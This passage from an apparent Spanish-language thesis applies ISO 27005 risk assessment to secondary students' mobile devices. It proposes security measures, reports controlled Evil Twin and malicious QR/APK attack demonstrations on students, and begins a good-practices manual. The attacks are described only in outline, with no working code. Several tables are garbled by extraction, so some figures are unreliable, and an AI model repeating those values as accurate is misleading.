detallada en la Tabla 7, donde se asigna un valor que representa la frecuencia con la que una

amenaza puede materializarse.

Un valor de 1 (Muy bajo) indica que la amenaza tiene una probabilidad minima de ocurrir,
mientras que el valor de 2 (Bajo) sugiere que, aunque posible, su ocurrencia es poco frecuente. Un
valor de 3 (Medio) refleja una probabilidad moderada, donde la amenaza podria materializarse
bajo ciertas condiciones especificas. Un valor de 4 (Alto) senala que la amenaza es recurrente y
representa un riesgo significativo, mientras que un 5 (Muy alto) indica una alta probabilidad de

ocurrencia, lo que la convierte en una amenaza critica que requiere atencion inmediata.

Este andlisis es fundamental para priorizar las medidas de seguridad, enfocandose en

aquellas amenazas con mayor probabilidad de comprometer la confidencialidad, integridad y
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disponibilidad de la informacion. Con estos datos, se procede a realizar la evaluacion del riesgo de
cada activo, permitiendo la identificacion de vulnerabilidades criticas y la implementacion de

estrategias de mitigacion adecuadas.

Tabla 7

Valor de la posibilidad de Ocurrencia

Posibilidad de Ocurrencia Valor
Muy bajo 1
Bajo 2
Medio 3
Alto

Muy Alto

VI)  Evaluacion de Riesgos

La evaluacion de riesgos permite determinar el nivel de criticidad de los activos de
informacion en funcién de su exposicion a amenazas y vulnerabilidades. Para ello, se comparan
los riesgos estimados con los criterios de valoracion establecidos, considerando la probabilidad, el
impacto y la posibilidad de ocurrencia de cada activo. Este andlisis se basa en la informacion
presentada en la Tabla 6 y sigue las directrices establecidas en la norma ISO 27005, enfocandose
en la estimacion del valor de los activos en riesgo, la priorizacion de riesgos y la evaluacion de los

riesgos de los activos. Estas directrices permiten una clasificacion estructurada de los activos,
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facilitando la toma de decisiones sobre medidas de mitigacion y estrategias de proteccion en el

entorno digital de los estudiantes.

a) Estimacion del valor de los activos en riego

El proposito de esta evaluacion es cuantificar el impacto que una amenaza podria tener
sobre cada activo de informacion, permitiendo asi identificar aquellos mas vulnerables y
determinar el nivel de riesgo asociado. Esta informacion es clave para la toma de decisiones en
materia de seguridad, ya que facilita la implementacion de medidas de proteccion y mitigacion

adecuadas.

Para ello, en la Tabla 8 se asigna un valor que refleja el nivel de impacto de cada activo,
utilizando una escala que va desde 1 (Sin impacto relevante) hasta 5 (Impacto critico). Esta
clasificacion permite priorizar los activos mas criticos y establecer estrategias de proteccion

acordes con su nivel de riesgo.

Tabla 8

Estimacion del Riesgo relacionada a los activos

Valor del . Descripcion detallada
. Nivel
activo
.. No representa una amenaza significativa.
1 Sin impacto relevante
. Impacto leve con afectaciones limitadas.
2 Perdida menor P
. . . Puede comprometer parcialmente la seguridad.
3 Pérdidas significativas P P 8
AT Riesgo  considerable que afecta la
4 Pérdidas importantes g0 vibitidad o integridad.
s Compromiso total del activo con graves
5 Impacto critico

consecuencias.
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La matriz de evaluacion de riesgos serd utilizada para analizar todos los activos, asignando
un valor que represente la gravedad del riesgo en caso de una vulneracion. Este enfoque permite
no solo identificar las posibles implicaciones de una brecha de seguridad, sino también priorizar
las acciones preventivas y correctivas, asegurando que los recursos de proteccion se destinen de

manera eficiente a los activos mas criticos.

b) Priorizacion

La priorizacion de riesgos permite determinar el nivel de atencion y accion que cada activo
requiere en funcion de su nivel de riesgo, lo que conlleva a que este proceso sea fundamental para
optimizar los recursos de seguridad, asegurando que los activos mas vulnerables reciban medidas

de proteccion adecuadas y que los riesgos menos criticos sean gestionados de manera eficiente.

Para establecer esta priorizacion, se asignan valores del 1 al 5, donde los valores mas altos
indican activos que requieren proteccion urgente debido a su importancia o impacto potencial en
caso de una vulneracion. En contraste, los valores més bajos representan activos con menor riesgo,
que pueden ser gestionados con medidas de seguridad menos exigentes, por ende, la Tabla 9 detalla

los niveles de prioridad y sus respectivas descripciones.
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Tabla de Priorizacion de Riesgos
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Valor de Priorizacion  Nivel de Prioridad Descripcion
1 Muv bai Riesgo minimo: No requiere medidas inmediatas;
uy bajo . . .

Yo se puede realizar un monitoreo ocasional.
’ Bai Riesgo bajo. Se recomienda realizar medidas

ajo . ., . g

J basicas de proteccion y monitoreo periddico

Riesgo moderado: Requiere implementar
3 Medio medidas de proteccion adicionales y un

Muy Alto

monitoreo mas frecuente.

Riesgo significativo: Es necesario tomar medidas
de proteccion urgentes y realizar un monitoreo
constante.

Riesgo critico: Requiere atencidon inmediata,
medidas avanzadas de proteccion y monitoreo
continuo.

Este sistema de clasificacion facilita la toma de decisiones en materia de ciberseguridad,

permitiendo que los esfuerzos de mitigacion se centren en los activos mas criticos (valores 4 y 5),

mientras que aquellos con menor riesgo (valores 1 y 2) sean manejados con estrategias menos

intensivas, de este modo, se garantiza una proteccion eficiente y proporcional a la importancia de

cada activo dentro del entorno digital de los estudiantes.

¢) Evaluacion de riesgos de activos.

La evaluacion de riesgos de los activos tiene como objetivo determinar el nivel de

exposicion y criticidad de cada activo frente a posibles amenazas, facilitando asi la toma de

decisiones en cuanto a la implementacion de medidas de mitigacion. Para ello, en la Tabla 10 se

asigna un valor a cada activo conforme a la clasificacion establecida en la Tabla 8, considerando

su impacto en términos de confidencialidad, integridad y disponibilidad.
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Adicionalmente, la posibilidad de ocurrencia de cada amenaza sera evaluada, de acuerdo
con la escala definida en la Tabla 7. Con estos datos, se calcula la medicion del riesgo, la cual se
obtiene multiplicando el valor asignado al activo por la probabilidad de que la amenaza se
materialice. Este analisis permite cuantificar el nivel de riesgo asociado a cada activo,
identificando aquellos con mayor vulnerabilidad y estableciendo una prioridad de proteccion

basada en su criticidad.

La Tabla 10 presenta la evaluacion de los activos de informacion, donde 20 representa el
riesgo maximo identificado en los escenarios de ataque, y 1 el riesgo minimo. Una vez
determinados estos valores, el siguiente proceso consiste en asignar un nivel de priorizacion
conforme a la escala presentada en la Tabla 9, lo que permite enfocar los esfuerzos de seguridad

en los activos mas criticos.

Tabla 10

Evaluacion de riesgos de los activos.

Valor del Posibilidad de Medicion del

Activo . ocurrencia del Riesgo con 20  Priorizacion
Activo . P
riesgo victimas

Dispositivos Mdviles 5 4 20

Informacién de los 3 4 12

dispositivos (Contactos,

fotos.)

Aplicaciones Instaladas 2 3 6

Datos de acceso a redes 4 2
Informacioén Académica 1 2 2
(Calificaciones, tareas.)

5
3
3
1
Informacioén personal 4 3 12
(Nombres, Direcciones)
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Contrasenas 3 3 6 3
Almacenadas

Historial de navegacion 3 2 6 3
Mensajes y Llamadas 3 1 3 2
Datos de aplicaciones 2 5 10

financieras

La matriz de evaluacion de riesgos, presentada en la Tabla 10, proporciona una vision clara
de los activos mas expuestos a ataques cibernéticos, estableciendo prioridades segun su criticidad
y el impacto potencial de una vulneracion. Ademads, permite determinar qué activos requieren

medidas de seguridad urgentes y cudles pueden ser gestionados con estrategias menos intensivas.

Es importante destacar que la medicion del riesgo también refleja la cantidad potencial de
estudiantes que podrian verse afectados en los escenarios de ataque identificados. Todas las
adaptaciones realizadas en este analisis estdn basadas en la norma ISO 27005, la cual ofrece un
enfoque estructurado para evaluar riesgos dentro de la institucion educativa y disefar estrategias

de mitigacion efectivas.

VII) Tratamiento de riesgos

El tratamiento de riesgos tiene como objetivo mitigar las vulnerabilidades identificadas en
los activos de informacion mediante la implementacion de medidas de seguridad efectivas. Para
ello, se proponen mejoras enfocadas en fortalecer la proteccion de los datos, reducir la exposicion
a amenazas y fomentar buenas practicas en el uso de dispositivos moéviles dentro de la institucion

educativa, siendo estas las siguientes:
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a) Fortalecimiento de la seguridad en redes Wi-Fi

Para fortalecer la seguridad de la red Wi-Fi, especialmente en el caso de que la institucion
decida ofrecer conectividad general a todos los usuarios de la comunidad educativa (autoridades,
docentes y estudiantes), es fundamental implementar mecanismos de autenticacion robustos que
garanticen una proteccion adecuada contra accesos no autorizados. Se recomienda la adopcion de
protocolos de seguridad avanzados, como WPA2-Enterprise 0 WPA3, que ofrecen un alto nivel
de proteccidn al encriptar las comunicaciones y permitir una gestion mas controlada de los accesos
a la red. Es importante, sin embargo, considerar la compatibilidad de los equipos inaldmbricos ya
instalados en la institucion, ya que algunos dispositivos pueden no ser compatibles con estos
protocolos mas seguros, Con el fin de garantizar la proteccion de la informacion y el buen
funcionamiento de la red Wi-Fi.

Ademas, se puede considerar también la aplicacion de segmentacion (Emision de
diferentes SSID para las vlans respectivas) de usuarios para un mejor control y gestion de los
recursos prioritarios que usan las autoridades y docentes.

b) Control de aplicaciones

Para fortalecer la seguridad de los dispositivos mdviles dentro de la institucion, se
recomienda que la instituciéon implemente politica de control de aplicaciones para garantizar la
seguridad y el uso adecuado de los recursos tecnologicos. Una medida clave seria la restriccion de
descargas no autorizadas, que podria gestionarse mediante un proxy o reglas especificas que
bloqueen el acceso a sitios web de descarga de aplicaciones no aprobadas. Ademas, es
imprescindible establecer controles a nivel de red, mediante la configuracion de firewalls o

sistemas de filtrado que impidan el acceso a fuentes no confiables. Esta estrategia no solo
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prevendria la descarga de aplicaciones maliciosas, sino que también aseguraria que solo se instalen

aquellas aprobadas para el uso educativo.

Por otro lado, se recomienda fomentar la concientizacion entre los estudiantes sobre los
riesgos asociados a la descarga e instalacion de aplicaciones en los dispositivos celulares. Es
importante que los estudiantes comprendan que, aunque las aplicaciones provengan de tiendas
oficiales como Google Play o la App Store, no todas son necesariamente seguras. Por lo tanto, es
esencial que los estudiantes aprendan a verificar los permisos solicitados por cada aplicacion antes
de instalarla, ya que algunas pueden requerir acceso a datos sensibles o funciones del dispositivo
que no son necesarias para su funcionamiento. También se recomienda educar a los estudiantes
sobre la importancia de revisar las valoraciones de la aplicacion en cuestion y los comentarios de
otros usuarios al respecto, como una forma de identificar posibles aplicaciones fraudulentas o con
vulnerabilidades de seguridad. Esta formacion en seguridad moévil ayudaria a prevenir problemas

relacionados con la privacidad, el malware o la pérdida de datos personales.

A continuacion, se muestra los pasos a seguir para un buen control de las aplicaciones:

b.1 Revisar los permisos de la aplicacién: Antes de descargar cualquier aplicacion, el
estudiante debe revisar los permisos que la aplicacion solicita, al abrir la pagina de la aplicacion,
pueden desplazarse hacia abajo hasta la seccion de "Permisos" para ver qué informaciéon o
caracteristicas del dispositivo solicita la aplicacion como se muestra en la Figura 30. Si la
aplicacion pide permisos innecesarios, como acceder a la camara o a los contactos sin justificacion,

esto puede ser una sefial de alarma.
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Figura 30
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b.2 Leer los comentarios y valoraciones de otros usuarios: Es fundamental revisar los
comentarios y las valoraciones que otros usuarios han dejado en la tienda. Las aplicaciones
fraudulentas o inseguras suelen tener comentarios negativos que mencionan problemas de
seguridad o comportamientos extrafios. Si la mayoria de los comentarios son de usuarios

insatisfechos o si se reportan fallos constantes, es mejor evitar la instalacion de la aplicacion.

b.3 Verificar la reputacion del desarrollador: Los estudiantes deben fijarse en el nombre
del desarrollador y comprobar si es una entidad conocida o confiable. Si el desarrollador tiene
varias aplicaciones bien valoradas y con buenas resefias, es una sefial de que la aplicacion

probablemente sea segura.



108

Siguiendo estos pasos, los estudiantes pueden reducir significativamente los riesgos
asociados con la descarga de aplicaciones, asegurando que solo instalen aquellas que sean seguras

y confiables.

¢) Actualizaciones regulares

Mantener los dispositivos moviles y sus aplicaciones actualizadas es una medida
fundamental para garantizar la seguridad de la informacion almacenada, como datos sensibles,
contrasefias y correos electronicos. Las actualizaciones de software corrigen vulnerabilidades,
refuerzan los mecanismos de proteccion y mejoran el rendimiento del sistema, reduciendo el riesgo

de explotacion por parte de atacantes.

A continuacion, se presentan los pasos a seguir para mantener las actualizaciones regulares

en los dispositivos Android, los cuales se ilustran en la Figura 31 para su mejor comprension.

Para actualizar las aplicaciones, se debe abrir la aplicacion Google Play Store > Tocar el
icono de perfil ubicado en la esquina superior derecha > Seleccionar la opcion "Administrar apps
y dispositivos" > En la seccion "Actualizaciones disponibles”, se mostraran las aplicaciones que
requieren actualizacion > Tocar "Actualizar todo" para actualizar todas las aplicaciones
simultdneamente o seleccionar cada aplicacion individualmente para actualizarla > Para revisar
los detalles de una actualizacion, se debe tocar el nombre de la aplicacion y consultar las notas de

la version.
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Figura 31
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Por otro lado, para verificar las actualizaciones de las aplicaciones en un iPhone, se debe
abrir la App Store > Tocar el icono de perfil en la esquina superior derecha > Deslizar hacia abajo
para visualizar las aplicaciones con actualizaciones disponibles > Tocar "Actualizar todo" para
actualizar todas las aplicaciones a la vez o seleccionar cada aplicacion individualmente para
actualizarla > Para ver més detalles, se debe tocar el nombre de la aplicacion y revisar las notas de

la version.

Se recomienda también habilitar la actualizacion automatica en los dispositivos moviles,
asegurando que tanto el sistema operativo como las aplicaciones criticas reciban los tltimos

parches de seguridad.
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Proteger la privacidad de los estudiantes es esencial para prevenir el acceso no autorizado

a su informacién personal, contactos, fotos y datos financieros. Si una aplicacion ya esté instalada,

es crucial realizar una verificacion de los permisos que se le han otorgado. Para ello, se deben

ajustar las configuraciones de privacidad en los dispositivos mdviles, limitando el acceso de las

aplicaciones a estos datos sensibles. Se recomienda que los estudiantes revisar y gestionar los

permisos de cada aplicacion, restringiendo aquellos que no sean necesarios para su

funcionamiento. A continuacion, la Figura 32 muestra como realizar la verificacion de privacidad

en una aplicacion ya instalada.

Figura 32
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Para comprobar los permisos de aplicaciones en Android, se debe acceder a la aplicacion
que se desea inspeccionar con los siguientes pasos: Presionar la aplicacion durante 2 segundos >
Pulsar el icono de informacion > Seleccionar "Permisos de la aplicacion". Alli se podran visualizar
los permisos solicitados por la aplicacion y activar o desactivar aquellos que se consideren

necesarios.

Por lo tanto, es importante implementar practicas de almacenamiento seguro para proteger
los datos sensibles manejados por las aplicaciones. Se debe habilitar el cifrado de datos en los
dispositivos, garantizando que la informacion personal y de acceso a redes esté protegida. Para
ello, los dispositivos Android deben ser versiones 6.0 o superiores, mientras que los dispositivos
10S deben contar con i0S 8 o versiones posteriores, ya que ambas plataformas permiten el cifrado

de datos de forma predeterminada.

e) Proteccion con antivirus/malware

Para garantizar la proteccion contra virus y malware en los dispositivos moviles de los
estudiantes, es crucial contar con antivirus confiables y eficientes. Segun (Gartner, 2025), algunas
de las soluciones mejor valoradas en el mercado incluyen Harmony Mobile de Check Point
Software Technologies, que ofrece una proteccion integral contra diversas amenazas cibernéticas,
y Singularity Mobile de SentinelOne, que se destaca por su enfoque autdbnomo y basado en IA para
la deteccion y respuesta ante amenazas. Lookout Mobile Endpoint Security es otra opcion
destacada, que protege datos en dispositivos, aplicaciones y redes a través de una plataforma
unificada. Ademas, Sophos Intercept X para dispositivos moviles proporciona proteccion
avanzada con deteccion de amenazas en tiempo real. Como otra alternativa también conocida,

McAfee Mobile Security y Avast Mobile Security figuran como opciones confiables, con
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funciones que permiten un andlisis exhaustivo de las aplicaciones y las redes Wi-Fi a las que se
conectan los dispositivos. Estas soluciones no solo brindan una defensa sdélida, sino que también
ayudan a garantizar que los dispositivos usados por los estudiantes estén protegidos de manera
eficaz. Implementar herramientas como estas es esencial para asegurar la integridad de los datos

personales y académicos de los estudiantes.

VIII) Conclusiones

La auditoria realizada evidenci6 la presencia de multiples vulnerabilidades en los
dispositivos moviles utilizados por los estudiantes, las cuales podrian ser aprovechadas por
atacantes para comprometer la seguridad y privacidad de los datos personales. Estas
vulnerabilidades abarcan desde fallos en la configuracion de privacidad y uso de redes Wi-Fi
inseguras hasta la instalacion de aplicaciones con permisos excesivos, lo que expone a los

estudiantes a riesgos de robo de informacion y accesos no autorizados.

La implementacion de las medidas de seguridad propuestas permitird mitigar estos riesgos,
fortaleciendo la proteccion de los dispositivos y fomentando buenas précticas de ciberseguridad
entre los estudiantes. Estrategias como la configuracion adecuada de privacidad, el uso de redes
seguras, la actualizacion constante del software y la concienciacion sobre el uso responsable de la

tecnologia resultan clave para minimizar las amenazas identificadas.

Ademas, el uso de la norma ISO 27005 proporcion6 un marco metodoldgico estructurado
para la gestion de riesgos de seguridad de la informacion, permitiendo una evaluacion sistematica
de las vulnerabilidades y amenazas detectadas. Esta metodologia facilit6 la clasificacion de los

riesgos segun su criticidad y la determinacion de estrategias efectivas para su mitigacion.



113

En conclusion, la adopcion de estas medidas no solo fortalecera la seguridad de los
dispositivos utilizados en el entorno educativo, sino que también promovera una cultura de
ciberseguridad, asegurando que los estudiantes adquieran el conocimiento necesario para proteger

su informacion y reducir su exposicion a amenazas digitales.
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3.4.2 Estructura del manual de buenas practicas

Los analisis y pruebas de seguridad identificados en las secciones 3.3.1 y 3.3.2 evidencian
que los dispositivos moviles de los estudiantes presentan diversas vulnerabilidades que pueden ser
explotadas para comprometer la confidencialidad, integridad y disponibilidad de su informacion,
de modo que durante la auditoria de seguridad, se llevaron a cabo ataques controlados que
revelaron fallos en la configuracion de privacidad, exposicion a redes Wi-Fi inseguras, uso de
aplicaciones con permisos excesivos y ausencia de mecanismos de proteccion, lo que expone a los
estudiantes a riesgos como el robo de credenciales, el acceso no autorizado a datos personales y la
infeccion de dispositivos con software malicioso.

Ante estos hallazgos, es imperativo establecer un manual de buenas practicas en
ciberseguridad, que sirva como una herramienta educativa y preventiva para que los estudiantes
de educacion media superior comprendan los riesgos asociados al uso de dispositivos moviles sin
mecanismos de seguridad y adopten medidas efectivas para proteger su informacion. Este manual
proporcionara una guia estructurada y accesible con estrategias claras para minimizar
vulnerabilidades y fortalecer la seguridad digital dentro del entorno educativo.

Este apartado establece las bases para la creacion del manual de buenas practicas en
ciberseguridad, el cual estard basado en las recomendaciones de la norma ISO 27005,
especialmente en las secciones relacionadas con la evaluacion, tratamiento y monitoreo del riesgo,
proporcionando un marco estructurado para la gestion de riesgos de seguridad de la informacion
en el entorno educativo. Por ende, su principal objetivo corresponde en ser una herramienta
practica y accesible para los estudiantes, permitiéndoles aplicar medidas de seguridad efectivas en

el uso de sus dispositivos moviles y a la vez proteger su informacion.
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La norma ISO 27005 ofrece un enfoque sistematico en la gestion de riesgos, destacando
secciones clave como la 8.2 (Tratamiento del riesgo) y la 9 (Comunicacién y monitoreo del riesgo),
fundamentales para identificar, mitigar y gestionar amenazas en un entorno educativo. Basandose
en estas directrices, el manual estructurard su contenido en secciones clave para garantizar su
comprension y aplicacion efectiva.

El manual de buenas practicas contara con un diseno ilustrado que servira como portada
principal, pensado para captar la atencion de los estudiantes y hacer el contenido mas accesible. A
continuacion, se presenta una contraportada que incluye un mensaje de bienvenida e iniciativa
dirigido a los jovenes, motivandolos a involucrarse activamente en la ciberseguridad.
Posteriormente, se incluye un indice de contenidos que facilita la navegacion por el documento.
La estructura del manual se organiza en capitulos, cada uno iniciado con una breve introduccion
que contextualiza los temas tratados. Esta organizacion permite una lectura clara, ordenada y
adecuada al nivel educativo de los estudiantes. Lo que conlleva a que su estructura se componga
de los siguientes apartados:

a) Conceptos basicos de ciberseguridad

Introduccioén a la ciberseguridad, destacando la importancia de proteger la informacion y
los sistemas, junto con los principios esenciales de confidencialidad, integridad y disponibilidad
(CIA).

b) Principales amenazas y vulnerabilidades

Andlisis de las amenazas mas comunes a la seguridad de la informacion, incluyendo

ejemplos de ataques recientes y su impacto en el entorno educativo.

¢) Buenas practicas y medidas de seguridad
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Recomendaciones practicas para implementar medidas de seguridad, abordando temas
como la gestion de contrasefias, proteccion de redes y buenas practicas en el uso de dispositivos
moviles.

d) Herramientas y tecnologias de ciberseguridad
Revision de soluciones de software y hardware para la proteccion de la informacion, tales

como firewalls, sistemas de deteccion de intrusos y herramientas de cifrado.

e) Normativas y regulaciones

Guia sobre las normativas y regulaciones en ciberseguridad, abordando leyes y estandares
internacionales relevantes y su impacto en la proteccion de datos.

Los elementos descritos anteriormente se desarrollan en el apartado 4.2, donde se detalla
la elaboracién del manual y su adaptacion para los estudiantes. Este enfoque garantiza que el
manual sea comprensible, practico y aplicable, convirtiéndolo en una herramienta efectiva para la
Unidad Educativa 17 de Julio. Ademas de fortalecer la seguridad digital de los estudiantes, este
manual contribuird a la creacion de una cultura de ciberseguridad dentro de la institucion,

promoviendo el uso responsable de la tecnologia y reduciendo la exposicion a amenazas digitales.
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CAPITULO IV: VALIDACION Y RESULTADOS

Este capitulo expone los datos recopilados y su analisis, permitiendo interpretar los
resultados obtenidos y establecer relaciones con los patrones y tendencias identificadas en la
seccion 3.4, de modo que el estudio de estos hallazgos facilite la extraccion de conclusiones
relevantes que sustentan el desarrollo del manual de buenas practicas en el uso de dispositivos
moviles, el cual esta dirigido a los estudiantes, permitiendo obtener un manual que proporcione
recomendaciones y pautas estructuradas para fomentar un uso seguro, responsable y eficiente de
los dispositivos moviles dentro del entorno educativo.

4.1 Analisis de resultados preliminares

Los resultados se obtuvieron a partir de encuestas aplicadas a los estudiantes, las cuales
revelaron hallazgos significativos sobre la seguridad de los dispositivos mdviles en la Unidad
Educativa 17 de Julio. Se evidencid una marcada falta de conciencia respecto a los riesgos digitales
y a las practicas adecuadas para proteger la informacion en terminales moviles. Ademas, en el
contexto de entornos de pruebas de seguridad implementados en la institucion, se identifico que
un total de 20 estudiantes fueron afectados de forma simultanea, lo que permitié evaluar su nivel
de preparacion ante posibles amenazas. Dichos entornos tienen el siguiente proposito:

e Ataque Evil Twin: Un punto de acceso Wi-Fi falso imita una red legitima para atraer a los
estudiantes y lograr que se conecten sin verificar su autenticidad. Este ataque demuestra
como los ciberdelincuentes interceptan credenciales, datos personales y otra informacion
confidencial a través de redes comprometidas. Ademas, evidencia la falta de atencion al
verificar redes seguras, un error comuin en entornos donde los estudiantes acceden a redes

publicas o sin proteccion.
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e Ataque mediante aplicacion maliciosa y codigo QR: Un cddigo QR malicioso redirige a
la descarga de una aplicacion (APK) disenada para instalarse en los dispositivos de los
estudiantes. Al escanear el codigo y ejecutar la aplicacion, los dispositivos quedan
expuestos a accesos no autorizados, recopilacion de informacion y posibles ataques de
malware, demostrando cémo los atacantes explotan la confianza en cddigos QR y la falta
de precaucion al instalar aplicaciones de fuentes desconocidas.

Estos escenarios evidencian que, aunque los estudiantes poseen conocimientos basicos en
ciberseguridad, siguen existiendo vulnerabilidades criticas que podrian ser explotadas en
escenarios reales si no se aplican medidas correctivas. Ademas, el ataque Evil Twin confirma una
confianza excesiva en redes Wi-Fi desconocidas, mientras que el uso de codigos QR maliciosos
demuestra una falta de precaucion al descargar archivos de fuentes no verificadas.

Frente a estos hallazgos, la implementacion de charlas de concienciacion resulta
fundamental para exponer los riesgos a los que los estudiantes estan expuestos y proporcionarles
herramientas practicas para mejorar su seguridad digital. Las demostraciones sobre métodos de
conexion segura en redes inaldmbricas y la descarga de aplicaciones desde sitios oficiales generan
cambios evidentes en su comportamiento, logrando que eviten conectarse a redes Wi-Fi publicas
o desconocidas y reduzcan significativamente la descarga de archivos maliciosos distribuidos
mediante codigos QR fraudulentos.

Si bien las charlas educativas marcan una diferencia en la actitud de los estudiantes, la
concienciacion por si sola no es suficiente para mitigar todos los riesgos. Es necesario contar con
un manual de buenas practicas en ciberseguridad, que sirva como una guia accesible y estructurada
para que los estudiantes puedan reforzar sus conocimientos, aplicar estrategias de proteccion en su

dia a dia y minimizar su exposicion a amenazas digitales.
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En el siguiente apartado se detalla e ilustra el manual de buenas practicas en ciberseguridad,
con el propodsito de que los estudiantes comprendan su importancia y lo adopten como una

referencia esencial para el uso seguro de dispositivos moéviles.
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jHola estudiantes!

En esta era digital, nuestros dispositivos moéviles son como una extension de nosotros
mismos. Pero, al igual que en el mundo real, existen peligros en linea que debemos tener en cuenta.
Este manual esta disefiado para ensefiarte medidas practicas y sencillas que te ayudaran a proteger

tus dispositivos, tus datos personales y a navegar de manera segura en el mundo digital.

iRecuerde que la ciberseguridad no es solo una opcidn, es una responsabilidad!

Este manual ha sido realizado por un estudiante de la Universidad Técnica del Norte,

comprometido con promover el uso seguro de la tecnologia en la comunidad estudiantil
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Glosario

Ciberseguridad: Proteccion de sistemas, redes y programas de ataques digitales.
Malware: Software malicioso disefiado para dafiar o interrumpir sistemas.

Phishing: Técnica de engafio para obtener informacion personal mediante correos
electronicos fraudulentos.

DDoS (Denegacion de Servicio): Ataques que buscan colapsar un sistema o red
sobrecargandolos con trafico.

Encriptacion: Proceso de convertir datos en un formato que solo puede ser leido por
alguien con la clave de desencriptacion.

VPN (Red Privada Virtual): Conexion segura y encriptada entre el dispositivo del
usuario y un servidor VPN.

IDS/IPS (Sistemas de Deteccion y Prevencion de Intrusos): Sistemas que monitorizan
el trafico de red en busca de actividades sospechosas y pueden bloquear amenazas en
tiempo real.

MFA (Autenticacion Multifactor) en ciberseguridad es un método de proteccion que
requiere mas de una forma de verificar la identidad de un usuario antes de permitir el

acceso a un sistema, cuenta o red.
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Introduccion

En la era digital, la ciberseguridad se ha convertido en un aspecto crucial para la proteccion
de datos y recursos en linea, especialmente en el caso de los estudiantes de instituciones educativas,
quienes se desenvuelven en un entorno digital cada vez més complejo. Al hacer uso de diversas
plataformas orientadas a la comunicacion, el aprendizaje y el entretenimiento, estos estudiantes
enfrentan un grado significativo de exposicion a una variedad de amenazas cibernéticas que
pueden comprometer su informacion personal, financiera y académica.
Figura 34

Seguridad Cibernética

Nota. Imagen adaptada de LinkedIn
El presente manual ha sido elaborado con el propdsito de proporcionar una comprension

fundamental de los principios de ciberseguridad, con el fin de orientar a los estudiantes en la
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proteccion de su informacion y en el desarrollo de practicas seguras dentro del entorno digital,
como se observa en la Figura 34.

A lo largo del documento se abordan conceptos esenciales y se presentan herramientas practicas
para mantener la seguridad en linea. La ciberseguridad no solo representa una medida de
proteccion individual, sino también una responsabilidad compartida entre estudiantes, educadores
y familias. Se espera que este manual funcione como una guia 1til tanto para quienes desean
adquirir conocimientos sobre como protegerse en el entorno digital, como para aquellos que, desde
el rol de educadores o familiares, buscan brindar apoyo y formacion en la adopcion de habitos
seguros en linea. Con una comprension adecuada y la implementacion de buenas practicas, es

posible contribuir activamente a la construccion de un entorno digital mas seguro y protegido para

todos.
L Capitulo 1: Conceptos basicos de la ciberseguridad
Figura 35

Historia de la Ciberseguridad
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La ciberseguridad es el conjunto de practicas, tecnologias y procesos disefiados para
proteger sistemas, redes y datos digitales frente a ataques, accesos no autorizados o dafio. En la
Figura 35 se observa como a lo largo del tiempo, las amenazas digitales han cambiado y se han
vuelto mas sofisticadas, lo que ha llevado al desarrollo de nuevas estrategias y herramientas de
proteccion. Se han visto cambios donde se resalta la importancia de conocer los fundamentos de
la ciberseguridad, ya que nos permite comprender la esencialidad de implementar medidas de

proteccion para la informacion personal, académica y profesional en el entorno digital.

Principales amenazas cibernéticas

Las amenazas cibernéticas mas relevantes identificadas por OWASP para 2024 destacan los
riesgos criticos en la seguridad web e infraestructura, ademéas de abordar tendencias emergentes,

siendo los principales riesgos:

¢ Riesgos de configuracion y disefio inseguros: la configuracion incorrecta del sistema, las
dependencias mal gestionadas y el disefio deficiente continuian siendo una causa comun de
vulnerabilidades. Esto incluye la exposicion de datos confidenciales, asi como problemas
de validacion y autenticacion del usuario.

e Defectos de inyeccion: los ataques de inyeccidon, como la inyeccion SQL, puede permitir
la ejecucion de codigo malicioso y el compromiso de datos confidenciales. Estas amenazas
requieren la implementacion de précticas solidas de validacion y desinfeccion de entradas.

e Amenazas relacionadas con IoT: los dispositivos IoT y los sistemas industriales, debido
a su seguridad limitada, son cada vez mas objetivo de ataques, como la denegacion de

servicio distribuida y la explotacion de vulnerabilidades en actualizaciones de firmware.
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e Ingenieria social y phishing avanzado: los ataques de phishing han evolucionado con el
uso de inteligencia artificial, lo que permite la personalizacion de mensajes y la creacion
de contenido atractivo, aumentando la efectividad de estos ataques.

e Amenazas patrocinadas por el Estado: los ciberataques dirigidos por gobiernos se han
intensificado, apuntando a infraestructuras criticas con el proposito de obtener informacion
sensible o provocar perturbaciones estratégicas.

¢ Riesgos de seguridad en la cadena de suministro: estas amenazas incluyen la
manipulacion de software y hardware, lo que compromete tanto a las organizaciones

como a los consumidores finales.

Importancia de la ciberseguridad en la educacion media superior

En el contexto de la educacion media superior, la ciberseguridad es fundamental para
proteger la informacion personal y académica de los estudiantes, asi como para salvaguardar los
sistemas de las instituciones educativas. Es crucial que los estudiantes estén informados y
preparados para identificar y enfrentar posibles amenazas digitales, de modo que, para garantizar

su seguridad, considera seguir estos pasos:

1. Utilizar contraseiias seguras: Crear contrasefias unicas que sean dificiles de adivinar y
activar la verificacion en dos pasos.

2. Actualizar sus dispositivos: Instalar siempre las Gltimas actualizaciones de software para
protegerse contra amenazas.

3. Cuidar tu privacidad: Evitar compartir informacion personal en redes sociales y ajusta
las configuraciones de privacidad para proteger sus datos.

4. Evitar enlaces sospechosos: No haga clic ni descargue archivos de fuentes desconocidas.
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5. Navegar de forma segura: utilizar sitios web con "https://" y evitar redes Wi-Fi publicas

no protegidas.
Actividad: Investigar un caso reciente de una amenaza cibernética

Preguntas de autoevaluacion

Esta seccion tiene como finalidad reforzar los conocimientos adquiridos sobre
ciberseguridad a través de preguntas de autoevaluacion. Al responderlas, los estudiantes podran
medir su comprension de los conceptos clave, identificar areas de mejora y fortalecer su conciencia

sobre la proteccion de datos y la seguridad en entornos digitales.

1. (Qué es la ciberseguridad?
a) El uso de software para crear contenido multimedia.
b) La proteccion de sistemas, redes y datos frente a ataques digitales.

c¢) La instalacion de antivirus para resolver problemas tecnoldgicos.

2. (Cual de los siguientes NO es un tipo de amenaza cibernética?
a) Phishing b) Malware
c¢) Hackeo ético d) Ransomware

3. (Por qué es importante para usted la ciberseguridad?

“Conoce mas sobre ciberseguridad ~
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Escanee el codigo Qr:

11 Capitulo 2: Principales amenazas y vulnerabilidades

Tabla 11

Principales amenazas

Phishing
Malware

Tipo de engafio en linea donde los atacantes
Tipo de software malicioso disefiado para

se hacen pasar por una empresa o persona
dafiar o robar informacion de su computadora,

confiable para robar informacion personal,
teléfono o red. Puede llegar a través de correos

como contrasefias, nimeros de tarjeta o
electronicos, sitios web o aplicaciones.

datos bancarios.

Ataques DDoS

Ataques de denegacion de servicio (DDoS) buscan interrumpir el servicio de una red
sobrecargandola con trafico. Este tipo de ataques puede hacer que un sitio web o un servicio en

linea sea inaccesible.

Vulnerabilidades de software y hardware
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Figura 36

